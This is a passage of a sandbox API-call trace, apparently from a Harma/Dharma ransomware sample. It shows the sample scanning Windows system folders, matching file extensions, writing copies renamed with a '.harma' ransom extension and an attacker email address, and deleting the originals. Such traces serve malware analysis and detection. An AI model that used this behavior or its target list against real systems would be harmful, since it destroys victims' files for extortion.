lpString2=".FNT") returned 1 [0066.656] lstrlenW (lpString=".xlsx") returned 5 [0066.656] lstrcmpiW (lpString1=".xlsx", lpString2="2.FNT") returned -1 [0066.656] lstrlenW (lpString=".ppt") returned 4 [0066.656] lstrcmpiW (lpString1=".ppt", lpString2=".FNT") returned 1 [0066.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0066.656] lstrlenW (lpString=".zip") returned 4 [0066.656] lstrcmpiW (lpString1=".zip", lpString2=".FNT") returned 1 [0066.656] lstrlenW (lpString=".rar") returned 4 [0066.656] lstrcmpiW (lpString1=".rar", lpString2=".FNT") returned 1 [0066.656] lstrlenW (lpString=".bz2") returned 4 [0066.656] lstrcmpiW (lpString1=".bz2", lpString2=".FNT") returned -1 [0066.656] lstrlenW (lpString=".7z") returned 3 [0066.656] lstrcmpiW (lpString1=".7z", lpString2="FNT") returned -1 [0066.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0066.656] lstrlenW (lpString=".dbf") returned 4 [0066.656] lstrcmpiW (lpString1=".dbf", lpString2=".FNT") returned -1 [0066.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0066.656] lstrlenW (lpString=".1cd") returned 4 [0066.656] lstrcmpiW (lpString1=".1cd", lpString2=".FNT") returned -1 [0066.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0066.657] lstrlenW (lpString=".jpg") returned 4 [0066.657] lstrcmpiW (lpString1=".jpg", lpString2=".FNT") returned 1 [0066.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0066.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0066.657] lstrlenW (lpString=".doc") returned 4 [0066.657] lstrcmpiW (lpString1=".doc", lpString2=".FNT") returned -1 [0066.657] lstrlenW (lpString=".docx") returned 5 [0066.657] lstrcmpiW (lpString1=".docx", lpString2="2.FNT") returned -1 [0066.657] lstrlenW (lpString=".pdf") returned 4 [0066.657] lstrcmpiW (lpString1=".pdf", lpString2=".FNT") returned 1 [0066.657] lstrlenW (lpString=".xls") returned 4 [0066.657] lstrcmpiW (lpString1=".xls", lpString2=".FNT") returned 1 [0066.657] lstrlenW (lpString=".xlsx") returned 5 [0066.657] lstrcmpiW (lpString1=".xlsx", lpString2="2.FNT") returned -1 [0066.657] lstrlenW (lpString=".ppt") returned 4 [0066.657] lstrcmpiW (lpString1=".ppt", lpString2=".FNT") returned 1 [0066.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0066.657] lstrlenW (lpString=".zip") returned 4 [0066.657] lstrcmpiW (lpString1=".zip", lpString2=".FNT") returned 1 [0066.657] lstrlenW (lpString=".rar") returned 4 [0066.657] lstrcmpiW (lpString1=".rar", lpString2=".FNT") returned 1 [0066.657] lstrlenW (lpString=".bz2") returned 4 [0066.657] lstrcmpiW (lpString1=".bz2", lpString2=".FNT") returned -1 [0066.657] lstrlenW (lpString=".7z") returned 3 [0066.657] lstrcmpiW (lpString1=".7z", lpString2="FNT") returned -1 [0066.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0066.657] lstrlenW (lpString=".dbf") returned 4 [0066.657] lstrcmpiW (lpString1=".dbf", lpString2=".FNT") returned -1 [0066.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0066.657] lstrlenW (lpString=".1cd") returned 4 [0066.658] lstrcmpiW (lpString1=".1cd", lpString2=".FNT") returned -1 [0066.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0066.658] lstrlenW (lpString=".jpg") returned 4 [0066.658] lstrcmpiW (lpString1=".jpg", lpString2=".FNT") returned 1 [0066.658] lstrcmpiW (lpString1=".FLT", lpString2=".harma") returned -1 [0066.658] lstrlenW (lpString="EPSIMP32.FLT") returned 12 [0066.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0066.658] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=712592) returned 1 [0066.658] CloseHandle (hObject=0x1f4) returned 1 [0066.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 0x20 [0066.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0066.659] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0066.659] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0066.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0066.659] GetLastError () returned 0x0 [0066.659] ReadFile (in: hFile=0x1f4, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0xadf90, lpOverlapped=0x0) returned 1 [0067.965] WriteFile (in: hFile=0x164, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xadfa0, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xadfa0, lpOverlapped=0x0) returned 1 [0067.980] ReadFile (in: hFile=0x1f4, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x0, lpOverlapped=0x0) returned 1 [0067.980] WriteFile (in: hFile=0x164, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xec, lpOverlapped=0x0) returned 1 [0067.981] SetEndOfFile (hFile=0x164) returned 1 [0068.382] CloseHandle (hObject=0x164) returned 1 [0068.382] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0068.382] SetEndOfFile (hFile=0x1f4) returned 1 [0068.388] CloseHandle (hObject=0x1f4) returned 1 [0068.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0068.389] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 1 [0068.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0068.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0068.861] lstrlenW (lpString=".doc") returned 4 [0068.861] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0068.861] lstrlenW (lpString=".docx") returned 5 [0068.861] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0068.861] lstrlenW (lpString=".pdf") returned 4 [0068.862] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0068.862] lstrlenW (lpString=".xls") returned 4 [0068.862] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0068.862] lstrlenW (lpString=".xlsx") returned 5 [0068.862] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0068.862] lstrlenW (lpString=".ppt") returned 4 [0068.862] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0068.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0068.862] lstrlenW (lpString=".zip") returned 4 [0068.862] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0068.862] lstrlenW (lpString=".rar") returned 4 [0068.862] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0068.862] lstrlenW (lpString=".bz2") returned 4 [0068.862] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0068.862] lstrlenW (lpString=".7z") returned 3 [0068.862] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0068.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0068.862] lstrlenW (lpString=".dbf") returned 4 [0068.862] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0068.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0068.862] lstrlenW (lpString=".1cd") returned 4 [0068.862] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0068.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0068.862] lstrlenW (lpString=".jpg") returned 4 [0068.862] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0068.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0068.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0068.862] lstrlenW (lpString=".doc") returned 4 [0068.862] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0068.862] lstrlenW (lpString=".docx") returned 5 [0068.862] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0068.862] lstrlenW (lpString=".pdf") returned 4 [0068.862] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0068.863] lstrlenW (lpString=".xls") returned 4 [0068.863] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0068.863] lstrlenW (lpString=".xlsx") returned 5 [0068.863] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0068.863] lstrlenW (lpString=".ppt") returned 4 [0068.863] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0068.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0068.863] lstrlenW (lpString=".zip") returned 4 [0068.863] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0068.863] lstrlenW (lpString=".rar") returned 4 [0068.863] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0068.863] lstrlenW (lpString=".bz2") returned 4 [0068.863] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0068.863] lstrlenW (lpString=".7z") returned 3 [0068.863] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0068.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0068.863] lstrlenW (lpString=".dbf") returned 4 [0068.863] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0068.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0068.863] lstrlenW (lpString=".1cd") returned 4 [0068.863] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0068.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0068.863] lstrlenW (lpString=".jpg") returned 4 [0068.863] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0068.863] lstrcmpiW (lpString1=".FLT", lpString2=".harma") returned -1 [0068.864] lstrlenW (lpString="PICTIM32.FLT") returned 12 [0068.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 16 os_tid = 0x9fc [0039.417] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x3670718 [0039.418] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x3680720 [0039.418] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f0420 [0039.418] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x5f30e0 [0039.418] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f0438 [0039.418] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x3dc0020 [0039.419] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f0450 [0039.419] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f0450, Size=0x20) returned 0x63fae0 [0039.419] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f0450 [0039.419] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f0450, Size=0x20) returned 0x63fab8 [0039.419] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0039.419] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0039.419] Wow64DisableWow64FsRedirection (in: OldValue=0x35fff58 | out: OldValue=0x35fff58*=0x0) returned 1 [0039.419] lstrlenW (lpString="kernel32.dll") returned 12 [0039.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x63fae0 | out: hHeap=0x5a0000) returned 1 [0039.419] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0039.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x63fab8 | out: hHeap=0x5a0000) returned 1 [0039.419] Sleep (dwMilliseconds=0x64) [0039.611] lstrcmpiW (lpString1=".ttf", lpString2=".harma") returned 1 [0039.611] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0039.611] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0039.684] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=1984228) returned 1 [0039.684] CloseHandle (hObject=0x168) returned 1 [0039.684] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0039.684] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.684] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0039.684] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0039.684] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0039.684] lstrlenW (lpString=".doc") returned 4 [0039.684] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0039.684] lstrlenW (lpString=".docx") returned 5 [0039.684] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0039.684] lstrlenW (lpString=".pdf") returned 4 [0039.685] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0039.685] lstrlenW (lpString=".xls") returned 4 [0039.685] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0039.685] lstrlenW (lpString=".xlsx") returned 5 [0039.685] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0039.685] lstrlenW (lpString=".ppt") returned 4 [0039.685] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0039.685] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0039.685] lstrlenW (lpString=".zip") returned 4 [0039.685] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0039.685] lstrlenW (lpString=".rar") returned 4 [0039.685] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0039.685] lstrlenW (lpString=".bz2") returned 4 [0039.685] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0039.685] lstrlenW (lpString=".7z") returned 3 [0039.685] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0039.685] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0039.685] lstrlenW (lpString=".dbf") returned 4 [0039.685] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0039.685] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0039.685] lstrlenW (lpString=".1cd") returned 4 [0039.685] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0039.685] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0039.685] lstrlenW (lpString=".jpg") returned 4 [0039.685] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0039.685] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0039.685] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0039.685] lstrlenW (lpString=".doc") returned 4 [0039.685] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0039.685] lstrlenW (lpString=".docx") returned 5 [0039.686] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0039.686] lstrlenW (lpString=".pdf") returned 4 [0039.686] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0039.686] lstrlenW (lpString=".xls") returned 4 [0039.686] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0039.686] lstrlenW (lpString=".xlsx") returned 5 [0039.686] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0039.686] lstrlenW (lpString=".ppt") returned 4 [0039.686] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0039.686] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0039.686] lstrlenW (lpString=".zip") returned 4 [0039.686] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0039.686] lstrlenW (lpString=".rar") returned 4 [0039.686] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0039.686] lstrlenW (lpString=".bz2") returned 4 [0039.686] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0039.686] lstrlenW (lpString=".7z") returned 3 [0039.686] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0039.686] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0039.686] lstrlenW (lpString=".dbf") returned 4 [0039.686] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0039.686] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0039.686] lstrlenW (lpString=".1cd") returned 4 [0039.686] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0039.686] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0039.686] lstrlenW (lpString=".jpg") returned 4 [0039.686] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0039.687] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0039.687] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0039.687] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0039.687] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=88144) returned 1 [0039.687] CloseHandle (hObject=0x168) returned 1 [0039.687] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0039.687] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.687] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.687] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0039.687] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0039.687] lstrlenW (lpString=".doc") returned 4 [0039.687] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.687] lstrlenW (lpString=".docx") returned 5 [0039.687] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.687] lstrlenW (lpString=".pdf") returned 4 [0039.687] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.687] lstrlenW (lpString=".xls") returned 4 [0039.687] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.687] lstrlenW (lpString=".xlsx") returned 5 [0039.688] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.688] lstrlenW (lpString=".ppt") returned 4 [0039.688] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.688] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0039.688] lstrlenW (lpString=".zip") returned 4 [0039.688] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.688] lstrlenW (lpString=".rar") returned 4 [0039.688] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.688] lstrlenW (lpString=".bz2") returned 4 [0039.688] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.688] lstrlenW (lpString=".7z") returned 3 [0039.688] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.688] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0039.688] lstrlenW (lpString=".dbf") returned 4 [0039.688] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.688] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0039.688] lstrlenW (lpString=".1cd") returned 4 [0039.688] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.688] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0039.688] lstrlenW (lpString=".jpg") returned 4 [0039.688] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.688] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0039.688] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0039.688] lstrlenW (lpString=".doc") returned 4 [0039.688] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.688] lstrlenW (lpString=".docx") returned 5 [0039.688] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.688] lstrlenW (lpString=".pdf") returned 4 [0039.688] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.688] lstrlenW (lpString=".xls") returned 4 [0039.689] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.689] lstrlenW (lpString=".xlsx") returned 5 [0039.689] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.689] lstrlenW (lpString=".ppt") returned 4 [0039.689] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.689] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0039.689] lstrlenW (lpString=".zip") returned 4 [0039.689] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.689] lstrlenW (lpString=".rar") returned 4 [0039.689] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.689] lstrlenW (lpString=".bz2") returned 4 [0039.689] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.689] lstrlenW (lpString=".7z") returned 3 [0039.689] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.689] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0039.689] lstrlenW (lpString=".dbf") returned 4 [0039.689] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.689] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0039.689] lstrlenW (lpString=".1cd") returned 4 [0039.689] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.689] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0039.689] lstrlenW (lpString=".jpg") returned 4 [0039.689] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.689] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0039.689] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0039.690] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0039.690] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=90704) returned 1 [0039.690] CloseHandle (hObject=0x168) returned 1 [0039.690] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0039.690] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff 